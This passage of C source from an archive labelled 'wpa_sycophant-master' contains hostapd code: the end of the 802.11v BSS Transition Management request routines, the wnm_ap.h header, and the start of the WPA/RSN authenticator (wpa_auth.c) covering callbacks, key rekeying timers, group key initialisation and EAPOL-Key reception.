ETH_ALEN); os_memcpy(mgmt->sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt->bssid, hapd->own_addr, ETH_ALEN); mgmt->u.action.category = WLAN_ACTION_WNM; mgmt->u.action.u.bss_tm_req.action = WNM_BSS_TRANS_MGMT_REQ; mgmt->u.action.u.bss_tm_req.dialog_token = 1; mgmt->u.action.u.bss_tm_req.req_mode = WNM_BSS_TM_REQ_DISASSOC_IMMINENT | WNM_BSS_TM_REQ_ESS_DISASSOC_IMMINENT; mgmt->u.action.u.bss_tm_req.disassoc_timer = host_to_le16(disassoc_timer); mgmt->u.action.u.bss_tm_req.validity_interval = 0x01; pos = mgmt->u.action.u.bss_tm_req.variable; /* Session Information URL */ url_len = os_strlen(url); if (url_len > 255) return -1; *pos++ = url_len; os_memcpy(pos, url, url_len); pos += url_len; if (hostapd_drv_send_mlme(hapd, buf, pos - buf, 0) < 0) { wpa_printf(MSG_DEBUG, "Failed to send BSS Transition " "Management Request frame"); return -1; } if (disassoc_timer) { /* send disassociation frame after time-out */ set_disassoc_timer(hapd, sta, disassoc_timer); } return 0; } int wnm_send_bss_tm_req(struct hostapd_data *hapd, struct sta_info *sta, u8 req_mode, int disassoc_timer, u8 valid_int, const u8 *bss_term_dur, const char *url, const u8 *nei_rep, size_t nei_rep_len, const u8 *mbo_attrs, size_t mbo_len) { u8 *buf, *pos; struct ieee80211_mgmt *mgmt; size_t url_len; wpa_printf(MSG_DEBUG, "WNM: Send BSS Transition Management Request to " MACSTR " req_mode=0x%x disassoc_timer=%d valid_int=0x%x", MAC2STR(sta->addr), req_mode, disassoc_timer, valid_int); buf = os_zalloc(1000 + nei_rep_len + mbo_len); if (buf == NULL) return -1; mgmt = (struct ieee80211_mgmt *) buf; mgmt->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); os_memcpy(mgmt->da, sta->addr, ETH_ALEN); os_memcpy(mgmt->sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt->bssid, hapd->own_addr, ETH_ALEN); mgmt->u.action.category = WLAN_ACTION_WNM; mgmt->u.action.u.bss_tm_req.action = WNM_BSS_TRANS_MGMT_REQ; mgmt->u.action.u.bss_tm_req.dialog_token = 1; mgmt->u.action.u.bss_tm_req.req_mode = req_mode; mgmt->u.action.u.bss_tm_req.disassoc_timer = host_to_le16(disassoc_timer); mgmt->u.action.u.bss_tm_req.validity_interval = valid_int; pos = mgmt->u.action.u.bss_tm_req.variable; if ((req_mode & WNM_BSS_TM_REQ_BSS_TERMINATION_INCLUDED) && bss_term_dur) { os_memcpy(pos, bss_term_dur, 12); pos += 12; } if (url) { /* Session Information URL */ url_len = os_strlen(url); if (url_len > 255) { os_free(buf); return -1; } *pos++ = url_len; os_memcpy(pos, url, url_len); pos += url_len; } if (nei_rep) { os_memcpy(pos, nei_rep, nei_rep_len); pos += nei_rep_len; } if (mbo_len > 0) { pos += mbo_add_ie(pos, buf + sizeof(buf) - pos, mbo_attrs, mbo_len); } if (hostapd_drv_send_mlme(hapd, buf, pos - buf, 0) < 0) { wpa_printf(MSG_DEBUG, "Failed to send BSS Transition Management Request frame"); os_free(buf); return -1; } os_free(buf); if (disassoc_timer) { /* send disassociation frame after time-out */ set_disassoc_timer(hapd, sta, disassoc_timer); } return 0; } wpa_sycophant-master/src/ap/wnm_ap.h000066400000000000000000000017171377436615100200720ustar00rootroot00000000000000/* * IEEE 802.11v WNM related functions and structures * Copyright (c) 2011-2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef WNM_AP_H #define WNM_AP_H struct sta_info; int ieee802_11_rx_wnm_action_ap(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len); int wnm_send_disassoc_imminent(struct hostapd_data *hapd, struct sta_info *sta, int disassoc_timer); int wnm_send_ess_disassoc_imminent(struct hostapd_data *hapd, struct sta_info *sta, const char *url, int disassoc_timer); int wnm_send_bss_tm_req(struct hostapd_data *hapd, struct sta_info *sta, u8 req_mode, int disassoc_timer, u8 valid_int, const u8 *bss_term_dur, const char *url, const u8 *nei_rep, size_t nei_rep_len, const u8 *mbo_attrs, size_t mbo_len); void ap_sta_reset_steer_flag_timer(void *eloop_ctx, void *timeout_ctx); #endif /* WNM_AP_H */ wpa_sycophant-master/src/ap/wpa_auth.c000066400000000000000000004033201377436615100204100ustar00rootroot00000000000000/* * IEEE 802.11 RSN / WPA Authenticator * Copyright (c) 2004-2018, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "utils/state_machine.h" #include "utils/bitfield.h" #include "common/ieee802_11_defs.h" #include "crypto/aes.h" #include "crypto/aes_wrap.h" #include "crypto/aes_siv.h" #include "crypto/crypto.h" #include "crypto/sha1.h" #include "crypto/sha256.h" #include "crypto/sha384.h" #include "crypto/random.h" #include "eapol_auth/eapol_auth_sm.h" #include "ap_config.h" #include "ieee802_11.h" #include "wpa_auth.h" #include "pmksa_cache_auth.h" #include "wpa_auth_i.h" #include "wpa_auth_ie.h" #define STATE_MACHINE_DATA struct wpa_state_machine #define STATE_MACHINE_DEBUG_PREFIX "WPA" #define STATE_MACHINE_ADDR sm->addr static void wpa_send_eapol_timeout(void *eloop_ctx, void *timeout_ctx); static int wpa_sm_step(struct wpa_state_machine *sm); static int wpa_verify_key_mic(int akmp, size_t pmk_len, struct wpa_ptk *PTK, u8 *data, size_t data_len); #ifdef CONFIG_FILS static int wpa_aead_decrypt(struct wpa_state_machine *sm, struct wpa_ptk *ptk, u8 *buf, size_t buf_len, u16 *_key_data_len); static struct wpabuf * fils_prepare_plainbuf(struct wpa_state_machine *sm, const struct wpabuf *hlp); #endif /* CONFIG_FILS */ static void wpa_sm_call_step(void *eloop_ctx, void *timeout_ctx); static void wpa_group_sm_step(struct wpa_authenticator *wpa_auth, struct wpa_group *group); static void wpa_request_new_ptk(struct wpa_state_machine *sm); static int wpa_gtk_update(struct wpa_authenticator *wpa_auth, struct wpa_group *group); static int wpa_group_config_group_keys(struct wpa_authenticator *wpa_auth, struct wpa_group *group); static int wpa_derive_ptk(struct wpa_state_machine *sm, const u8 *snonce, const u8 *pmk, unsigned int pmk_len, struct wpa_ptk *ptk); static void wpa_group_free(struct wpa_authenticator *wpa_auth, struct wpa_group *group); static void wpa_group_get(struct wpa_authenticator *wpa_auth, struct wpa_group *group); static void wpa_group_put(struct wpa_authenticator *wpa_auth, struct wpa_group *group); static u8 * ieee80211w_kde_add(struct wpa_state_machine *sm, u8 *pos); static const u32 eapol_key_timeout_first = 100; /* ms */ static const u32 eapol_key_timeout_subseq = 1000; /* ms */ static const u32 eapol_key_timeout_first_group = 500; /* ms */ static const u32 eapol_key_timeout_no_retrans = 4000; /* ms */ /* TODO: make these configurable */ static const int dot11RSNAConfigPMKLifetime = 43200; static const int dot11RSNAConfigPMKReauthThreshold = 70; static const int dot11RSNAConfigSATimeout = 60; static inline int wpa_auth_mic_failure_report( struct wpa_authenticator *wpa_auth, const u8 *addr) { if (wpa_auth->cb->mic_failure_report) return wpa_auth->cb->mic_failure_report(wpa_auth->cb_ctx, addr); return 0; } static inline void wpa_auth_psk_failure_report( struct wpa_authenticator *wpa_auth, const u8 *addr) { if (wpa_auth->cb->psk_failure_report) wpa_auth->cb->psk_failure_report(wpa_auth->cb_ctx, addr); } static inline void wpa_auth_set_eapol(struct wpa_authenticator *wpa_auth, const u8 *addr, wpa_eapol_variable var, int value) { if (wpa_auth->cb->set_eapol) wpa_auth->cb->set_eapol(wpa_auth->cb_ctx, addr, var, value); } static inline int wpa_auth_get_eapol(struct wpa_authenticator *wpa_auth, const u8 *addr, wpa_eapol_variable var) { if (wpa_auth->cb->get_eapol == NULL) return -1; return wpa_auth->cb->get_eapol(wpa_auth->cb_ctx, addr, var); } static inline const u8 * wpa_auth_get_psk(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *p2p_dev_addr, const u8 *prev_psk, size_t *psk_len) { if (wpa_auth->cb->get_psk == NULL) return NULL; return wpa_auth->cb->get_psk(wpa_auth->cb_ctx, addr, p2p_dev_addr, prev_psk, psk_len); } static inline int wpa_auth_get_msk(struct wpa_authenticator *wpa_auth, const u8 *addr, u8 *msk, size_t *len) { if (wpa_auth->cb->get_msk == NULL) return -1; return wpa_auth->cb->get_msk(wpa_auth->cb_ctx, addr, msk, len); } static inline int wpa_auth_set_key(struct wpa_authenticator *wpa_auth, int vlan_id, enum wpa_alg alg, const u8 *addr, int idx, u8 *key, size_t key_len) { if (wpa_auth->cb->set_key == NULL) return -1; return wpa_auth->cb->set_key(wpa_auth->cb_ctx, vlan_id, alg, addr, idx, key, key_len); } static inline int wpa_auth_get_seqnum(struct wpa_authenticator *wpa_auth, const u8 *addr, int idx, u8 *seq) { if (wpa_auth->cb->get_seqnum == NULL) return -1; return wpa_auth->cb->get_seqnum(wpa_auth->cb_ctx, addr, idx, seq); } static inline int wpa_auth_send_eapol(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *data, size_t data_len, int encrypt) { if (wpa_auth->cb->send_eapol == NULL) return -1; return wpa_auth->cb->send_eapol(wpa_auth->cb_ctx, addr, data, data_len, encrypt); } #ifdef CONFIG_MESH static inline int wpa_auth_start_ampe(struct wpa_authenticator *wpa_auth, const u8 *addr) { if (wpa_auth->cb->start_ampe == NULL) return -1; return wpa_auth->cb->start_ampe(wpa_auth->cb_ctx, addr); } #endif /* CONFIG_MESH */ int wpa_auth_for_each_sta(struct wpa_authenticator *wpa_auth, int (*cb)(struct wpa_state_machine *sm, void *ctx), void *cb_ctx) { if (wpa_auth->cb->for_each_sta == NULL) return 0; return wpa_auth->cb->for_each_sta(wpa_auth->cb_ctx, cb, cb_ctx); } int wpa_auth_for_each_auth(struct wpa_authenticator *wpa_auth, int (*cb)(struct wpa_authenticator *a, void *ctx), void *cb_ctx) { if (wpa_auth->cb->for_each_auth == NULL) return 0; return wpa_auth->cb->for_each_auth(wpa_auth->cb_ctx, cb, cb_ctx); } void wpa_auth_logger(struct wpa_authenticator *wpa_auth, const u8 *addr, logger_level level, const char *txt) { if (wpa_auth->cb->logger == NULL) return; wpa_auth->cb->logger(wpa_auth->cb_ctx, addr, level, txt); } void wpa_auth_vlogger(struct wpa_authenticator *wpa_auth, const u8 *addr, logger_level level, const char *fmt, ...) { char *format; int maxlen; va_list ap; if (wpa_auth->cb->logger == NULL) return; maxlen = os_strlen(fmt) + 100; format = os_malloc(maxlen); if (!format) return; va_start(ap, fmt); vsnprintf(format, maxlen, fmt, ap); va_end(ap); wpa_auth_logger(wpa_auth, addr, level, format); os_free(format); } static void wpa_sta_disconnect(struct wpa_authenticator *wpa_auth, const u8 *addr, u16 reason) { if (wpa_auth->cb->disconnect == NULL) return; wpa_printf(MSG_DEBUG, "wpa_sta_disconnect STA " MACSTR " (reason %u)", MAC2STR(addr), reason); wpa_auth->cb->disconnect(wpa_auth->cb_ctx, addr, reason); } static void wpa_rekey_gmk(void *eloop_ctx, void *timeout_ctx) { struct wpa_authenticator *wpa_auth = eloop_ctx; if (random_get_bytes(wpa_auth->group->GMK, WPA_GMK_LEN)) { wpa_printf(MSG_ERROR, "Failed to get random data for WPA " "initialization."); } else { wpa_auth_logger(wpa_auth, NULL, LOGGER_DEBUG, "GMK rekeyd"); wpa_hexdump_key(MSG_DEBUG, "GMK", wpa_auth->group->GMK, WPA_GMK_LEN); } if (wpa_auth->conf.wpa_gmk_rekey) { eloop_register_timeout(wpa_auth->conf.wpa_gmk_rekey, 0, wpa_rekey_gmk, wpa_auth, NULL); } } static void wpa_rekey_gtk(void *eloop_ctx, void *timeout_ctx) { struct wpa_authenticator *wpa_auth = eloop_ctx; struct wpa_group *group, *next; wpa_auth_logger(wpa_auth, NULL, LOGGER_DEBUG, "rekeying GTK"); group = wpa_auth->group; while (group) { wpa_group_get(wpa_auth, group); group->GTKReKey = TRUE; do { group->changed = FALSE; wpa_group_sm_step(wpa_auth, group); } while (group->changed); next = group->next; wpa_group_put(wpa_auth, group); group = next; } if (wpa_auth->conf.wpa_group_rekey) { eloop_register_timeout(wpa_auth->conf.wpa_group_rekey, 0, wpa_rekey_gtk, wpa_auth, NULL); } } static void wpa_rekey_ptk(void *eloop_ctx, void *timeout_ctx) { struct wpa_authenticator *wpa_auth = eloop_ctx; struct wpa_state_machine *sm = timeout_ctx; wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "rekeying PTK"); wpa_request_new_ptk(sm); wpa_sm_step(sm); } static int wpa_auth_pmksa_clear_cb(struct wpa_state_machine *sm, void *ctx) { if (sm->pmksa == ctx) sm->pmksa = NULL; return 0; } static void wpa_auth_pmksa_free_cb(struct rsn_pmksa_cache_entry *entry, void *ctx) { struct wpa_authenticator *wpa_auth = ctx; wpa_auth_for_each_sta(wpa_auth, wpa_auth_pmksa_clear_cb, entry); } static int wpa_group_init_gmk_and_counter(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { u8 buf[ETH_ALEN + 8 + sizeof(unsigned long)]; u8 rkey[32]; unsigned long ptr; if (random_get_bytes(group->GMK, WPA_GMK_LEN) < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "GMK", group->GMK, WPA_GMK_LEN); /* * Counter = PRF-256(Random number, "Init Counter", * Local MAC Address || Time) */ os_memcpy(buf, wpa_auth->addr, ETH_ALEN); wpa_get_ntp_timestamp(buf + ETH_ALEN); ptr = (unsigned long) group; os_memcpy(buf + ETH_ALEN + 8, &ptr, sizeof(ptr)); if (random_get_bytes(rkey, sizeof(rkey)) < 0) return -1; if (sha1_prf(rkey, sizeof(rkey), "Init Counter", buf, sizeof(buf), group->Counter, WPA_NONCE_LEN) < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "Key Counter", group->Counter, WPA_NONCE_LEN); return 0; } static struct wpa_group * wpa_group_init(struct wpa_authenticator *wpa_auth, int vlan_id, int delay_init) { struct wpa_group *group; group = os_zalloc(sizeof(struct wpa_group)); if (group == NULL) return NULL; group->GTKAuthenticator = TRUE; group->vlan_id = vlan_id; group->GTK_len = wpa_cipher_key_len(wpa_auth->conf.wpa_group); if (random_pool_ready() != 1) { wpa_printf(MSG_INFO, "WPA: Not enough entropy in random pool " "for secure operations - update keys later when " "the first station connects"); } /* * Set initial GMK/Counter value here. The actual values that will be * used in negotiations will be set once the first station tries to * connect. This allows more time for collecting additional randomness * on embedded devices. */ if (wpa_group_init_gmk_and_counter(wpa_auth, group) < 0) { wpa_printf(MSG_ERROR, "Failed to get random data for WPA " "initialization."); os_free(group); return NULL; } group->GInit = TRUE; if (delay_init) { wpa_printf(MSG_DEBUG, "WPA: Delay group state machine start " "until Beacon frames have been configured"); /* Initialization is completed in wpa_init_keys(). */ } else { wpa_group_sm_step(wpa_auth, group); group->GInit = FALSE; wpa_group_sm_step(wpa_auth, group); } return group; } /** * wpa_init - Initialize WPA authenticator * @addr: Authenticator address * @conf: Configuration for WPA authenticator * @cb: Callback functions for WPA authenticator * Returns: Pointer to WPA authenticator data or %NULL on failure */ struct wpa_authenticator * wpa_init(const u8 *addr, struct wpa_auth_config *conf, const struct wpa_auth_callbacks *cb, void *cb_ctx) { struct wpa_authenticator *wpa_auth; wpa_auth = os_zalloc(sizeof(struct wpa_authenticator)); if (wpa_auth == NULL) return NULL; os_memcpy(wpa_auth->addr, addr, ETH_ALEN); os_memcpy(&wpa_auth->conf, conf, sizeof(*conf)); wpa_auth->cb = cb; wpa_auth->cb_ctx = cb_ctx; if (wpa_auth_gen_wpa_ie(wpa_auth)) { wpa_printf(MSG_ERROR, "Could not generate WPA IE."); os_free(wpa_auth); return NULL; } wpa_auth->group = wpa_group_init(wpa_auth, 0, 1); if (wpa_auth->group == NULL) { os_free(wpa_auth->wpa_ie); os_free(wpa_auth); return NULL; } wpa_auth->pmksa = pmksa_cache_auth_init(wpa_auth_pmksa_free_cb, wpa_auth); if (wpa_auth->pmksa == NULL) { wpa_printf(MSG_ERROR, "PMKSA cache initialization failed."); os_free(wpa_auth->group); os_free(wpa_auth->wpa_ie); os_free(wpa_auth); return NULL; } #ifdef CONFIG_IEEE80211R_AP wpa_auth->ft_pmk_cache = wpa_ft_pmk_cache_init(); if (wpa_auth->ft_pmk_cache == NULL) { wpa_printf(MSG_ERROR, "FT PMK cache initialization failed."); os_free(wpa_auth->group); os_free(wpa_auth->wpa_ie); pmksa_cache_auth_deinit(wpa_auth->pmksa); os_free(wpa_auth); return NULL; } #endif /* CONFIG_IEEE80211R_AP */ if (wpa_auth->conf.wpa_gmk_rekey) { eloop_register_timeout(wpa_auth->conf.wpa_gmk_rekey, 0, wpa_rekey_gmk, wpa_auth, NULL); } if (wpa_auth->conf.wpa_group_rekey) { eloop_register_timeout(wpa_auth->conf.wpa_group_rekey, 0, wpa_rekey_gtk, wpa_auth, NULL); } #ifdef CONFIG_P2P if (WPA_GET_BE32(conf->ip_addr_start)) { int count = WPA_GET_BE32(conf->ip_addr_end) - WPA_GET_BE32(conf->ip_addr_start) + 1; if (count > 1000) count = 1000; if (count > 0) wpa_auth->ip_pool = bitfield_alloc(count); } #endif /* CONFIG_P2P */ return wpa_auth; } int wpa_init_keys(struct wpa_authenticator *wpa_auth) { struct wpa_group *group = wpa_auth->group; wpa_printf(MSG_DEBUG, "WPA: Start group state machine to set initial " "keys"); wpa_group_sm_step(wpa_auth, group); group->GInit = FALSE; wpa_group_sm_step(wpa_auth, group); if (group->wpa_group_state == WPA_GROUP_FATAL_FAILURE) return -1; return 0; } /** * wpa_deinit - Deinitialize WPA authenticator * @wpa_auth: Pointer to WPA authenticator data from wpa_init() */ void wpa_deinit(struct wpa_authenticator *wpa_auth) { struct wpa_group *group, *prev; eloop_cancel_timeout(wpa_rekey_gmk, wpa_auth, NULL); eloop_cancel_timeout(wpa_rekey_gtk, wpa_auth, NULL); pmksa_cache_auth_deinit(wpa_auth->pmksa); #ifdef CONFIG_IEEE80211R_AP wpa_ft_pmk_cache_deinit(wpa_auth->ft_pmk_cache); wpa_auth->ft_pmk_cache = NULL; wpa_ft_deinit(wpa_auth); #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_P2P bitfield_free(wpa_auth->ip_pool); #endif /* CONFIG_P2P */ os_free(wpa_auth->wpa_ie); group = wpa_auth->group; while (group) { prev = group; group = group->next; os_free(prev); } os_free(wpa_auth); } /** * wpa_reconfig - Update WPA authenticator configuration * @wpa_auth: Pointer to WPA authenticator data from wpa_init() * @conf: Configuration for WPA authenticator */ int wpa_reconfig(struct wpa_authenticator *wpa_auth, struct wpa_auth_config *conf) { struct wpa_group *group; if (wpa_auth == NULL) return 0; os_memcpy(&wpa_auth->conf, conf, sizeof(*conf)); if (wpa_auth_gen_wpa_ie(wpa_auth)) { wpa_printf(MSG_ERROR, "Could not generate WPA IE."); return -1; } /* * Reinitialize GTK to make sure it is suitable for the new * configuration. */ group = wpa_auth->group; group->GTK_len = wpa_cipher_key_len(wpa_auth->conf.wpa_group); group->GInit = TRUE; wpa_group_sm_step(wpa_auth, group); group->GInit = FALSE; wpa_group_sm_step(wpa_auth, group); return 0; } struct wpa_state_machine * wpa_auth_sta_init(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *p2p_dev_addr) { struct wpa_state_machine *sm; if (wpa_auth->group->wpa_group_state == WPA_GROUP_FATAL_FAILURE) return NULL; sm = os_zalloc(sizeof(struct wpa_state_machine)); if (sm == NULL) return NULL; os_memcpy(sm->addr, addr, ETH_ALEN); if (p2p_dev_addr) os_memcpy(sm->p2p_dev_addr, p2p_dev_addr, ETH_ALEN); sm->wpa_auth = wpa_auth; sm->group = wpa_auth->group; wpa_group_get(sm->wpa_auth, sm->group); return sm; } int wpa_auth_sta_associated(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm) { if (wpa_auth == NULL || !wpa_auth->conf.wpa || sm == NULL) return -1; #ifdef CONFIG_IEEE80211R_AP if (sm->ft_completed) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "FT authentication already completed - do not " "start 4-way handshake"); /* Go to PTKINITDONE state to allow GTK rekeying */ sm->wpa_ptk_state = WPA_PTK_PTKINITDONE; sm->Pair = TRUE; return 0; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_FILS if (sm->fils_completed) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "FILS authentication already completed - do not start 4-way handshake"); /* Go to PTKINITDONE state to allow GTK rekeying */ sm->wpa_ptk_state = WPA_PTK_PTKINITDONE; sm->Pair = TRUE; return 0; } #endif /* CONFIG_FILS */ if (sm->started) { os_memset(&sm->key_replay, 0, sizeof(sm->key_replay)); sm->ReAuthenticationRequest = TRUE; return wpa_sm_step(sm); } wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "start authentication"); sm->started = 1; sm->Init = TRUE; if (wpa_sm_step(sm) == 1) return 1; /* should not really happen */ sm->Init = FALSE; sm->AuthenticationRequest = TRUE; return wpa_sm_step(sm); } void wpa_auth_sta_no_wpa(struct wpa_state_machine *sm) { /* WPA/RSN was not used - clear WPA state. This is needed if the STA * reassociates back to the same AP while the previous entry for the * STA has not yet been removed. */ if (sm == NULL) return; sm->wpa_key_mgmt = 0; } static void wpa_free_sta_sm(struct wpa_state_machine *sm) { #ifdef CONFIG_P2P if (WPA_GET_BE32(sm->ip_addr)) { u32 start; wpa_printf(MSG_DEBUG, "P2P: Free assigned IP " "address %u.%u.%u.%u from " MACSTR, sm->ip_addr[0], sm->ip_addr[1], sm->ip_addr[2], sm->ip_addr[3], MAC2STR(sm->addr)); start = WPA_GET_BE32(sm->wpa_auth->conf.ip_addr_start); bitfield_clear(sm->wpa_auth->ip_pool, WPA_GET_BE32(sm->ip_addr) - start); } #endif /* CONFIG_P2P */ if (sm->GUpdateStationKeys) { sm->group->GKeyDoneStations--; sm->GUpdateStationKeys = FALSE; } #ifdef CONFIG_IEEE80211R_AP os_free(sm->assoc_resp_ftie); wpabuf_free(sm->ft_pending_req_ies); #endif /* CONFIG_IEEE80211R_AP */ os_free(sm->last_rx_eapol_key); os_free(sm->wpa_ie); wpa_group_put(sm->wpa_auth, sm->group); os_free(sm); } void wpa_auth_sta_deinit(struct wpa_state_machine *sm) { if (sm == NULL) return; if (sm->wpa_auth->conf.wpa_strict_rekey && sm->has_GTK) { wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "strict rekeying - force GTK rekey since STA " "is leaving"); if (eloop_deplete_timeout(0, 500000, wpa_rekey_gtk, sm->wpa_auth, NULL) == -1) eloop_register_timeout(0, 500000, wpa_rekey_gtk, sm->wpa_auth, NULL); } eloop_cancel_timeout(wpa_send_eapol_timeout, sm->wpa_auth, sm); sm->pending_1_of_4_timeout = 0; eloop_cancel_timeout(wpa_sm_call_step, sm, NULL); eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm); #ifdef CONFIG_IEEE80211R_AP wpa_ft_sta_deinit(sm); #endif /* CONFIG_IEEE80211R_AP */ if (sm->in_step_loop) { /* Must not free state machine while wpa_sm_step() is running. * Freeing will be completed in the end of wpa_sm_step(). */ wpa_printf(MSG_DEBUG, "WPA: Registering pending STA state " "machine deinit for " MACSTR, MAC2STR(sm->addr)); sm->pending_deinit = 1; } else wpa_free_sta_sm(sm); } static void wpa_request_new_ptk(struct wpa_state_machine *sm) { if (sm == NULL) return; sm->PTKRequest = TRUE; sm->PTK_valid = 0; } static int wpa_replay_counter_valid(struct wpa_key_replay_counter *ctr, const u8 *replay_counter) { int i; for (i = 0; i < RSNA_MAX_EAPOL_RETRIES; i++) { if (!ctr[i].valid) break; if (os_memcmp(replay_counter, ctr[i].counter, WPA_REPLAY_COUNTER_LEN) == 0) return 1; } return 0; } static void wpa_replay_counter_mark_invalid(struct wpa_key_replay_counter *ctr, const u8 *replay_counter) { int i; for (i = 0; i < RSNA_MAX_EAPOL_RETRIES; i++) { if (ctr[i].valid && (replay_counter == NULL || os_memcmp(replay_counter, ctr[i].counter, WPA_REPLAY_COUNTER_LEN) == 0)) ctr[i].valid = FALSE; } } #ifdef CONFIG_IEEE80211R_AP static int ft_check_msg_2_of_4(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, struct wpa_eapol_ie_parse *kde) { struct wpa_ie_data ie; struct rsn_mdie *mdie; if (wpa_parse_wpa_ie_rsn(kde->rsn_ie, kde->rsn_ie_len, &ie) < 0 || ie.num_pmkid != 1 || ie.pmkid == NULL) { wpa_printf(MSG_DEBUG, "FT: No PMKR1Name in " "FT 4-way handshake message 2/4"); return -1; } os_memcpy(sm->sup_pmk_r1_name, ie.pmkid, PMKID_LEN); wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name from Supplicant", sm->sup_pmk_r1_name, PMKID_LEN); if (!kde->mdie || !kde->ftie) { wpa_printf(MSG_DEBUG, "FT: No %s in FT 4-way handshake " "message 2/4", kde->mdie ? "FTIE" : "MDIE"); return -1; } mdie = (struct rsn_mdie *) (kde->mdie + 2); if (kde->mdie[1] < sizeof(struct rsn_mdie) || os_memcmp(wpa_auth->conf.mobility_domain, mdie->mobility_domain, MOBILITY_DOMAIN_ID_LEN) != 0) { wpa_printf(MSG_DEBUG, "FT: MDIE mismatch"); return -1; } if (sm->assoc_resp_ftie && (kde->ftie[1] != sm->assoc_resp_ftie[1] || os_memcmp(kde->ftie, sm->assoc_resp_ftie, 2 + sm->assoc_resp_ftie[1]) != 0)) { wpa_printf(MSG_DEBUG, "FT: FTIE mismatch"); wpa_hexdump(MSG_DEBUG, "FT: FTIE in EAPOL-Key msg 2/4", kde->ftie, kde->ftie_len); wpa_hexdump(MSG_DEBUG, "FT: FTIE in (Re)AssocResp", sm->assoc_resp_ftie, 2 + sm->assoc_resp_ftie[1]); return -1; } return 0; } #endif /* CONFIG_IEEE80211R_AP */ static int wpa_receive_error_report(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, int group) { /* Supplicant reported a Michael MIC error */ wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key Error Request " "(STA detected Michael MIC failure (group=%d))", group); if (group && wpa_auth->conf.wpa_group != WPA_CIPHER_TKIP) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "ignore Michael MIC failure report since " "group cipher is not TKIP"); } else if (!group && sm->pairwise != WPA_CIPHER_TKIP) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "ignore Michael MIC failure report since " "pairwise cipher is not TKIP"); } else { if (wpa_auth_mic_failure_report(wpa_auth, sm->addr) > 0) return 1; /* STA entry was removed */ sm->dot11RSNAStatsTKIPRemoteMICFailures++; wpa_auth->dot11RSNAStatsTKIPRemoteMICFailures++; } /* * Error report is not a request for a new key handshake, but since * Authenticator may do it, let's change the keys now anyway. */ wpa_request_new_ptk(sm); return 0; } static int wpa_try_alt_snonce(struct wpa_state_machine *sm, u8 *data, size_t data_len) { struct wpa_ptk PTK; int ok = 0; const u8 *pmk = NULL; size_t pmk_len; os_memset(&PTK, 0, sizeof(PTK)); for (;;) { if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt) && !wpa_key_mgmt_sae(sm->wpa_key_mgmt)) { pmk = wpa_auth_get_psk(sm->wpa_auth, sm->addr, sm->p2p_dev_addr, pmk, &pmk_len); if (pmk == NULL) break; #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft_psk(sm->wpa_key_mgmt)) { os_memcpy(sm->xxkey, pmk, pmk_len); sm->xxkey_len = pmk_len; } #endif /* CONFIG_IEEE80211R_AP */ } else { pmk = sm->PMK; pmk_len = sm->pmk_len; } if (wpa_derive_ptk(sm, sm->alt_SNonce, pmk, pmk_len, &PTK) < 0) break; if (wpa_verify_key_mic(sm->wpa_key_mgmt, pmk_len, &PTK, data, data_len) == 0) { ok = 1; break; } if (!wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt) || wpa_key_mgmt_sae(sm->wpa_key_mgmt)) break; } if (!ok) { wpa_printf(MSG_DEBUG, "WPA: Earlier SNonce did not result in matching MIC"); return -1; } wpa_printf(MSG_DEBUG, "WPA: Earlier SNonce resulted in matching MIC"); sm->alt_snonce_valid = 0; os_memcpy(sm->SNonce, sm->alt_SNonce, WPA_NONCE_LEN); os_memcpy(&sm->PTK, &PTK, sizeof(PTK)); sm->PTK_valid = TRUE; return 0; } void wpa_receive(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, u8 *data, size_t data_len) { struct ieee802_1x_hdr *hdr; struct wpa_eapol_key *key; u16 key_info, key_data_length; enum { PAIRWISE_2, PAIRWISE_4, GROUP_2, REQUEST } msg; char *msgtxt; struct wpa_eapol_ie_parse kde; const u8 *key_data; size_t keyhdrlen, mic_len; u8 *mic; if (wpa_auth == NULL || !wpa_auth->conf.wpa || sm == NULL) return; wpa_hexdump(MSG_MSGDUMP, "WPA: RX EAPOL data", data, data_len); mic_len = wpa_mic_len(sm->wpa_key_mgmt, sm->pmk_len); keyhdrlen = sizeof(*key) + mic_len + 2; if (data_len < sizeof(*hdr) + keyhdrlen) { wpa_printf(MSG_DEBUG, "WPA: Ignore too short EAPOL-Key frame"); return; } hdr = (struct ieee802_1x_hdr *) data; key = (struct wpa_eapol_key *) (hdr + 1); mic = (u8 *) (key + 1); key_info = WPA_GET_BE16(key->key_info); key_data = mic + mic_len + 2; key_data_length = WPA_GET_BE16(mic + mic_len); wpa_printf(MSG_DEBUG, "WPA: Received EAPOL-Key from " MACSTR " key_info=0x%x type=%u mic_len=%u key_data_length=%u", MAC2STR(sm->addr), key_info, key->type, (unsigned int) mic_len, key_data_length); 